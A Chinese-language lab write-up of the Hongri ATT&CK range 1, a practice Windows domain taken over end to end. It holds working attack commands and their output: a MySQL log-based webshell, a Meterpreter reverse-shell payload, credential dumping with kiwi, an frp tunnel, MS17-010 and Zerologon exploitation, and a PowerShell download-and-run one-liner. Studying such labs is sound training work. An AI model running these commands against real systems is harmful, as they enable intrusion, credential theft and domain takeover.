红日ATT&CK系列靶场1
红日ATT&CK系列靶场1
靶场搭建
我没有使用
NAT
模式进行搭建靶机(我环境可能有问题),我使用的是桥接模式
win7
主机网络配置
一张网卡配的是桥接,一张是仅主机模式
Win2K3 Metasploitable
和Windows Server 2008 R2 x64
都是一张仅主机网卡
我的IP配置如下
win7 192.168.170.91 192.168.52.134
Win2K3 Metasploitable 192.168.52.138
Windows Server 2008 R2 x64 192.168.52.141
信息收集
nmap -p- -T5 -A --min-rate 5000 192.168.170.147
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45)
|_http-server-header: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
|_http-title: phpStudy \xE6\x8E\xA2\xE9\x92\x88 2014
3306/tcp open mysql MySQL (unauthorized)
访问web页面
是phpStudy的探针
得到网站绝对目录C:/phpStudy/WWW
目录扫描
用dirsearch
扫出了phpmyadmin
[01:20:36] 200 - 71KB - /phpinfo.php
[01:20:36] 301 - 242B - /phpMyAdmin -> http://192.168.170.147/phpMyAdmin/
[01:20:36] 301 - 242B - /phpmyadmin -> http://192.168.170.147/phpmyadmin/
[01:20:37] 200 - 32KB - /phpmyadmin/ChangeLog
[01:20:37] 200 - 2KB - /phpmyadmin/README
[01:20:38] 200 - 4KB - /phpMyAdmin/index.php
[01:20:38] 200 - 4KB - /phpmyadmin/index.php
[01:20:38] 200 - 4KB - /phpmyadmin/
弱密码 root root 登录成功
尝试outfile
写webshell
select "<?=@eval($_POST[1]);" into outfile "C:/phpStudy/WWW/2.php"
返回以下信息
#1290 - The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
MySQL服务器正在使用--secure-file-priv选项运行,因此无法执行此语句
查看相关选项配置
show global variables like '%secure%';
这里的值是NULL
就是不允许导入导出
secure_file_priv 参数解析:
参数值 | 说明 |
---|---|
null | 不允许导入导出 |
指定文件夹( C:\ProgramData\.. ) | mysql的导入导出只能发生在指定的文件夹 |
secure_file_priv 不设置(为空) | 没有任何限制 |
基于日志写Shell
show variables like '%general%'; 查看配置,日志是否开启,和mysql默认log地址(记下原地址方便恢复)
set global general_log = on; 开启日志监测,默认关闭(如果一直开文件会很大的)
set global general_log_file = 'C:/phpStudy/WWW/shell.php'; 设置日志路径
select '<?php eval($_POST[shell]);?>'; 执行查询,写入shell
用蚁剑连接
net user 账户 密码 /add 管理员权限,所有直接加 net localgroup administrators admin /add
关防火墙
netsh advfirewall show allprofile state netsh advfirewall set allprofiles state off
上线MSF
生成一个payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.170.91 LPORT=9999 -f exe > ma.exe
上传到win7主机上,设置监听IP和端口(和上面保持一致)
msfconsole -q
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.170.91
set lport 9999
run
查询用户权限
查看当前用户命令:whoami
- 本地普通用户
主机名\test- 本地管理员用户
主机名\administrator- 域内用户
域名\test- 域内管理员用户
域名\administrator
域内信息收集
net view
显示当前域的计算机列表
net view /domain:hack
查看hack域中的机器列表
net user
查看本机的用户列表
net user /domain
查看域内用户列表
net user xx /domain
查看域内用户的信息
net config workstation
查看工作站信息
net group "domain admins" /domain
查看域的管理员用户
net group "Domain Controllers" /domain
查看所有域控制器
收集系统基本信息,当前域是GOD
,win7这台主机是域管理员
meterpreter > sysinfo
Computer : STU1
OS : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : zh_CN
Domain : GOD
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > getuid
Server username: GOD\Administrator
进入shell,查看当前域的计算机列表
C:\>chcp 65001
chcp 65001
Active code page: 65001
C:\>net view
net view
Server Name Remark
-------------------------------------------------------------------------------
\\OWA
\\ROOT-TVI862UBEH
\\STU1
The command completed successfully.
C:\>net config workstation
net config workstation
Computer name \\STU1
Full Computer name stu1.god.org
User name Administrator
Workstation active on
NetBT_Tcpip_{4DAEBDFD-0177-4691-8243-B73297E2F0FF} (000C298BDFF4)
NetBT_Tcpip_{42787AAA-9343-4DF8-8F3E-079B3E9670F3} (000C298BDFFE)
NetBT_Tcpip_{EC57C4EB-763E-4000-9CDE-4D7FF15DF74C} (02004C4F4F50)
Software version Windows 7 Professional
Workstation domain GOD
Workstation Domain DNS Name god.org
Logon domain GOD
COM Open Timeout (sec) 0
COM Send Count (byte) 16
COM Send Timeout (msec) 250
The command completed successfully.
有三台主机
OWA
ROOT-TVI862UBEH
STU1
ping一下得到IP或者查看arp表
C:\>ping ROOT-TVI862UBEH
ping ROOT-TVI862UBEH
Pinging ROOT-TVI862UBEH [192.168.52.141] with 32 bytes of data:
Reply from 192.168.52.141: bytes=32 time=2ms TTL=128
C:\>arp -a
arp -a
Interface: 192.168.52.134 --- 0x1a
Internet Address Physical Address Type
192.168.52.138 00-0c-29-44-6f-62 dynamic
192.168.52.141 00-0c-29-c8-f0-62 dynamic
192.168.52.255 ff-ff-ff-ff-ff-ff static
224.0.0.22 01-00-5e-00-00-16 static
224.0.0.252 01-00-5e-00-00-fc static
239.255.255.250 01-00-5e-7f-ff-fa static
发现内网还有两台主机IP分别是
192.168.52.138
192.168.52.141
迁移进程
通过msf得到的会话容易被发现,导致后渗透失败。因此我们可以把
shell
的进程迁移绑定到目标机正常的进程中
meterpreter > ps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System Process]
4 0 System x64 0
2516 2836 explorer.exe x64 1 GOD\Administrator C:\Windows\Explorer.EXE
3420 3412 ma.exe x64 1 GOD\Administrator C:\ma.exe
meterpreter > migrate 2516
[*] Migrating from 3420 to 2516...
[*] Migration completed successfully.
执行migrate
命令后就可以将ma.exe
的这个进程隐藏
kiwi抓密码
接着用MSF抓哈希和密码
C:\>exit
exit
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
liukaifeng01:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
meterpreter > load kiwi
Loading extension kiwi...
.#####. mimikatz 2.2.0 20191125 (x64/windows)
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
Success.
meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============
Username Domain LM NTLM SHA1
-------- ------ -- ---- ----
Administrator GOD 9c4e2bb1a645a64b6d96bbec894387af 6a2ff5138ef3012467338a175e14f440 c465da655e9c19e0e7b82fb8cc147dea4ee7fb48
STU1$ GOD 0ba7dcdc7f5bef947c985490b99228c1 e5c0f994e94ef2ac378ddb8c784bfb33dda7927a
wdigest credentials
===================
Username Domain Password
-------- ------ --------
(null) (null) (null)
Administrator GOD dabaisec@2024
STU1$ GOD
tspkg credentials
=================
Username Domain Password
-------- ------ --------
Administrator GOD dabaisec@2024
kerberos credentials
====================
Username Domain Password
-------- ------ --------
(null) (null) (null)
Administrator GOD.ORG dabaisec@2024
stu1$ god.org
stu1$ GOD.ORG
横向移动
搭建sock隧道
kali上frps的配置frps.ini
[common]
bind_port = 7000
token = 192408
dashboard_port = 7500
dashboard_user = admin
dashboard_pwd = 123456
enable_prometheus = true
log_file = /var/log/frps.log
log_level = info
log_max_days = 3
服务端启动
systemctl start frps
./frps -c ./frps.ini
向win7靶机上传frpc.exe
和frpc.ini
[common]
server_addr = 192.168.170.91
server_port = 7000
token = 192408
[target1]
type = tcp
remote_port = 1234
plugin = socks5
start /b frpc.exe
.\frpc.exe -c .\frpc.ini
设置msf
全局代理
setg Proxies socks5:192.168.170.91:1234
编辑kali
的vim /etc/proxychains4.conf
加上
socks5 192.168.170.91 1234
利用fscan扫描
┌──(root㉿kali)-[~]
└─# ./fscan -socks5 socks5://192.168.170.91:1234 -h 192.168.52.138
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.3
Socks5Proxy: socks5://192.168.170.91:1234
start infoscan
192.168.52.138:80 open
192.168.52.138:135 open
192.168.52.138:88 open
192.168.52.138:139 open
192.168.52.138:445 open
[*] alive ports len is: 5
start vulscan
[*] NetInfo
[*]192.168.52.138
[->]owa
[->]192.168.52.138
[+] MS17-010 192.168.52.138 (Windows Server 2008 R2 Datacenter 7601 Service Pack 1)
[*] WebTitle http://192.168.52.138 code:200 len:689 title:IIS7
已完成 5/5
[*] 扫描结束,耗时: 27.344077356s
┌──(root㉿kali)-[~]
└─# ./fscan -socks5 socks5://192.168.170.91:1234 -h 192.168.52.141
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.3
Socks5Proxy: socks5://192.168.170.91:1234
start infoscan
192.168.52.141:7002 open
192.168.52.141:8098 open
192.168.52.141:8099 open
192.168.52.141:7001 open
192.168.52.141:135 open
192.168.52.141:445 open
192.168.52.141:139 open
192.168.52.141:21 open
[*] alive ports len is: 8
start vulscan
[*] NetInfo
[*]192.168.52.141
[->]root-tvi862ubeh
[->]192.168.52.141
[+] MS17-010 192.168.52.141 (Windows Server 2003 3790)
[*] WebTitle http://192.168.52.141:8099 code:403 len:1409 title:The page must be viewed over a secure channel
[*] WebTitle https://192.168.52.141:8098 code:401 len:1656 title:You are not authorized to view this page
[*] WebTitle http://192.168.52.141:7002 code:200 len:2632 title:Sentinel Keys License Monitor
已完成 8/8
[*] 扫描结束,耗时: 1m44.720118419s
nmap扫描
┌──(root㉿kali)-[~]
└─# proxychains4 nmap -Pn -T4 -sT -p80,135,445,3389 192.168.52.138
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-03 11:35 EDT
[proxychains] Strict chain ... 192.168.170.91:1234 ... 192.168.52.138:3389 <--socket error or timeout!
[proxychains] Strict chain ... 192.168.170.91:1234 ... 192.168.52.138:445 ... OK
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
[proxychains] Strict chain ... 192.168.170.91:1234 ... 192.168.52.138:135 ... OK
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
[proxychains] Strict chain ... 192.168.170.91:1234 ... 192.168.52.138:80 ... OK
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
Nmap scan report for bogon (192.168.52.138)
Host is up (10s latency).
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
445/tcp open microsoft-ds
3389/tcp closed ms-wbt-server
┌──(root㉿kali)-[~]
└─# proxychains4 nmap -Pn -T4 -sT -p80,135,445,3389 192.168.52.141
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-03 11:36 EDT
[proxychains] Strict chain ... 192.168.170.91:1234 ... 192.168.52.141:135 ... OK
[proxychains] Strict chain ... 192.168.170.91:1234 ... 192.168.52.141:445 ... OK
[proxychains] Strict chain ... 192.168.170.91:1234 ... 192.168.52.141:80 <--socket error or timeout!
[proxychains] Strict chain ... 192.168.170.91:1234 ... 192.168.52.141:3389 ... OK
Nmap scan report for bogon (192.168.52.141)
Host is up (0.12s latency).
PORT STATE SERVICE
80/tcp closed http
135/tcp open msrpc
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
打MS17-010
然后利用msf
打MS17-010
漏洞
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
开启3389远程桌面
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 11111111 /f
关闭3389远程桌面
search ms17
use auxiliary/admin/smb/ms17_010_command
set RHOSTS 192.168.52.141
set command 'netsh advfirewall set allprofiles state off'
exploit
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
exploit
远程控制Windows Server 2003
proxychains4 rdesktop 192.168.52.141 -p dabaisec@2024 -u Administrator
不知道为什么打不通域控这台主机,我们就用CVE-2020-1472
将域控的密码置空
CVE-2020-1472的利用
首先测试一下域控是否有这个漏洞
proxychains4 python3 zerologon_tester.py owa 192.168.52.138
Success! DC can be fully compromised by a Zerologon attack.
返回成功,可以利用这个漏洞
┌──(root㉿kali)-[/home/kali/hongri1/CVE-2020-1472-master]
└─# proxychains4 python3 cve-2020-1472-exploit.py owa 192.168.52.138
Target vulnerable, changing account password to empty string
Result: 0
Exploit complete!
重置成功,利用Dcsync
查看密码hash
proxychains4 impacket-secretsdump 'god.org/owa$@192.168.52.138' -no-pass
得到Administrator
的密码hash
Administrator:500:aad3b435b51404eeaad3b435b51404ee:6a2ff5138ef3012467338a175e14f440:::
利用wmiexec获取到Shell
proxychains4 impacket-wmiexec 'administrator@192.168.52.138' -hashes aad3b435b51404eeaad3b435b51404ee:6a2ff5138ef3012467338a175e14f440
添加一个用户,用于远程桌面连接
net user test123 Password123 /add /domain
net localgroup administrators test123 /add
至此三台主机全部拿下
密码复原操作
我们将域控的密码置空了,必须恢复一下,否则可能脱域导致整个域环境瘫痪
备份注册表
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save
下载到kali上
impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL
$MACHINE.ACC后半部分的值
4dc34830e6970e81a66b5e8d9ff3ac9f
proxychains4 python3 reinstall_original_pw.py owa 192.168.52.138 4dc34830e6970e81a66b5e8d9ff3ac9f
恢复成功
CS速通
尝试直接用蚁剑的虚拟终端进行web投递
,发现不能成功
使用MSF拿到一个shell
,发现web投递可以上线
web投递
首先生成web投递代码
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.170.91:80/a'))"
成功上线后,进行抓密码哈希,网络探测
横向移动
然后就是利用域管理员权进行横向移动
上线三台主机,结束
总结
1.mysql可以利用日志写shell,开启日志,设置日志文件,查询记录写入shell
2.熟悉了MSF的基本使用,如
migrate
迁移进程,kiwi
进行抓密码hash3.了解了利用
frp
工具搭建socks
隧道,impacket
工具简单使用4.对
MS17-010
和CVE-2020-1472
有简单的认识5.使用CS的一些功能,CS这个工具还是很强大的
6.初见内网,感觉内网还是很难的,慢慢学吧